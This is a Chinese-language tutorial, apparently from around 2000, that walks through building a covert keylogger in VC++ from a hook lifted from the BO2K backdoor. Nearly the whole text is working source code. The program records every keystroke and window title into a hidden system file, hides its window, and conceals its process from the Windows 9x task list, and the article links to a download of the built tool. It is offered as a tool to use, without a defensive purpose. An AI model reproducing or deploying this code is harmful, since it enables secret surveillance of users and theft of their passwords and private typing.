键盘幽灵程序源代码
对于全局钩子的使用常见的说法是把钩子函数放到.dll文件中,包括编程版
的一篇VC5.0的文章以及《计算机世界》2000.10.19B11编程技巧版“用VC++
编写钩子程序”。但在BO2K中,击键记录线程调用日志钩子明显不是从dll
文件来的,实际上BO2K Server 端已经不需要dll程序配合了。
我把BO2K中击键记录的日志钩子函数单独提出来,构造了一个只有24k 大的
键盘幽灵GetKey.exe,在win9x 下以隐藏方式运行,用户的所有击键记录在
与可执行文件相同目录下的隐藏文件keyfile.txt 中,按Ctrl+x中止键盘幽
灵程序的运行。如果想在Win2k下运行,需要去掉源代码中关于win9x隐藏进
程的部分,重新编译:
http://cim.nankai.edu.cn/download/GetKey.zip
比较奇怪的是用户在win9x下运行command.com后,Dos 窗口内的击键无法记
录。Win2k中运行cmd.exe则可以记录。朋友的一种解释是win9x下command.com
中的击键不是以消息形式发送,是更底层的实现。
下面仿照《计算机世界》2000.10.19B11编程技巧版“用VC++编写钩子程序”
的格式给出键盘幽灵的编写方法:
1、在VC++6.0中利用MFC APPWizard(EXE)生成一个不使用文档/视图支持的单
文档应用GetKey。打开MainFrm.cpp文件。加入全局变量和函数的说明。
HHOOK g_hHook = NULL; //全局钩子函数句柄
HANDLE g_hCapFile = NULL; //文本文件句柄
HWND g_hGetKeyWindow = NULL; //主程序窗体句柄
HWND g_hLastFocus = NULL; //活动窗体句柄
int nScanValue[1]; //用来保存前两次被按键的nScan值
//---------only win9x hide process---------------------------------------------//
HMODULE g_hModuleOfKernel = NULL; //kernel32.dll的句柄
typedef DWORD (WINAPI *REGSERVICEPROC)(DWORD dwProcessId, DWORD dwServiceType);
REGSERVICEPROC pRegisterServiceProcess;
//-----------------------------------------------------------------------------//
//这个日志钩子函数基本来自BO2K.
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode〈0) return CallNextHookEx(g_hHook,nCode,wParam,lParam);
if(nCode==HC_ACTION) { //HC_ACTION表明lParam指向一消息结构
EVENTMSG *pEvt=(EVENTMSG *)lParam;
if(pEvt-〉message==WM_KEYDOWN) { //判断是否是击键消息
DWORD dwCount,dwBytes;
char svBuffer[256];
int vKey,nScan;
vKey=LOBYTE(pEvt-〉paramL);
nScan=HIBYTE(pEvt-〉paramL);
nScan〈〈=16;
// Check to see if focus has changed
HWND hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus) { //如果本次击键发生窗口同上次击键发生窗口同则保存窗口标题到文件中;
char svTitle[256];
int nCount;
nCount=GetWindowText(hFocus,svTitle,256);
if(nCount〉0) {
char svBuffer[512];
wsprintf(svBuffer,"\r\n-----[ %s ]-----\r\n",svTitle);
WriteFile(g_hCapFile,svBuffer,lstrlen(svBuffer),&dwBytes,NULL);
}
g_hLastFocus=hFocus;
}
// Write out key
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount) { //如果所击键在虚拟键表之中
if(vKey==VK_SPACE) {
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
}
if(dwCount==1) { //如果是普通键则将其对应的ascii码存入文件
BYTE kbuf[256];
WORD ch;
int chcount;
GetKeyboardState(kbuf);
// if u press CTRL,the nScan is 1900554.and ALT is 367000,Del is 5439488.
if ((nScanValue[1] == 1900544) && (vKey == 88))
{
//如果按Ctrl+x则主程序退出,可改变比较值来更换热键,如vKey == 89则变为Ctrl+y。
char valueofkey[256];
wsprintf(valueofkey,"hehe,get ctrl+x");
WriteFile(g_hCapFile,&valueofkey,strlen(valueofkey),&dwBytes,NULL) ;
SendMessage(g_hGetKeyWindow,WM_CLOSE,0,0);
}
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
if(chcount〉0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL) ;
} else { //如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
nScanValue[0] = nScanValue[1];
nScanValue[1] = nScan;
/* //这里用来截获Ctrl+Alt,可以自行加入其它处理。
if ((nScanValue[0] == 1900544) && (nScanValue[1] == 3670016))
{
char valueofkey[256];
wsprintf(valueofkey,"hehe,do u want to restart?");
WriteFile(g_hCapFile,&valueofkey,strlen(valueofkey),&dwBytes,NULL) ;
pRegisterServiceProcess(GetCurrentProcessId(),1);
}
*/
WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
if(vKey==VK_RETURN) WriteFile(g_hCapFile,"\r\n",2,&dwBytes,NULL);
}
}
}
}
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
}
2、在CMainFram类的构造函数中安装钩子。
CMainFrame::CMainFrame()
{
// TODO: add member initialization code here
g_hCapFile=CreateFile("keyfile.txt",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
//可以将keyfile.txt改为其它文件名。
if(g_hCapFile==INVALID_HANDLE_VALUE)
{
exit(-1);
}
SetFilePointer(g_hCapFile,0,NULL,FILE_END); //将文件指针移到文件尾
//--------------------only win9x to hide process----------------//
g_hModuleOfKernel = LoadLibrary("kernel32.dll");
pRegisterServiceProcess = (REGSERVICEPROC)GetProcAddress(g_hModuleOfKernel,
"RegisterServiceProcess");
pRegisterServiceProcess(GetCurrentProcessId(),1);
//--------------------------------------------------------------//
g_hHook = SetWindowsHookEx(WH_JOURNALRECORD,
KeyboardProc,
GetModuleHandle(NULL),
0);
}
这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll,非常
巧妙实用,也是这个小程序的精华所在。
3、在CMainFrame类的析构函数中卸载钩子:
CMainFrame::~CMainFrame()
{
if ( g_hHook )
UnhookWindowsHookEx(g_hHook);
//---only win9x to hide process----//
if ( g_hModuleOfKernel )
FreeLibrary(g_hModuleOfKernel);
//---------------------------------//
}
4、本程序还有个特色之处是对热键的处理,当按下Ctrl+x时,向幽灵程序的的
主窗体发送WM_CLOSE消息,这时需要主窗体的句柄。所以要打开GetKey.h 文件,
在其中加入:
extern HWND g_hGetKeyWindow;
打开GetKey.cpp文件,在BOOL CGetKeyApp::InitInstance()的实现中加入:
// The one and only window has been initialized, so show and update it.
g_hGetKeyWindow = pFrame-〉m_hWnd; //保存主窗体句柄
pFrame-〉ShowWindow(SW_HIDE); //运行时不显示主窗体
pFrame-〉UpdateWindow();
说来好笑,我调试程序的时候为来让运行时不显示主窗体,不停的改窗体的风格
参数,最后才发现只要把ShowWindow()的参数由SW_SHOW 改为SW_HIDE 就可以了。